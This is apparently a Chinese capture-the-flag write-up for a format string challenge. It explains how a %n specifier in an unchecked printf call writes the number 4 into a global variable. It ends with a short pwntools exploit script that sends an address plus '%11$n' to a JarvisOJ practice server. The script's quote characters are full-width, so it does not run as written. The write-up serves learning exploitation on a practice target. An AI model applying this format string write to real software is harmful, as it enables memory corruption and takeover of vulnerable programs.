格式化字符串的题目
第12排是明显的漏洞
只要能将 x 改为 4 即可
而格式化字符串中 %n 可以写入数字
%n 是printf()是计算自己到%n位置已经输出的字符总数
所以只要输入长度为 4 的字符串 %n即可
以上面为栈顶(低地址),下面是栈底(高地址)
可以看到 print 的参数在 v5 buffer的上面
也就是 v5 的可以视作为 printf ( v5 ) 的第 n 个参数(包括字符串的地址)
而现在我们需要知道 x 的地址和 n 即可构造出 payload
x 地址 0804A02C
附上脚本
from pwn import * #io = process("./fm") io = remote(‘pwn2.jarvisoj.com‘, 9895) payload = p32(0x0804a02c) + "%11$n" io.send(payload) io.interactive() io.close()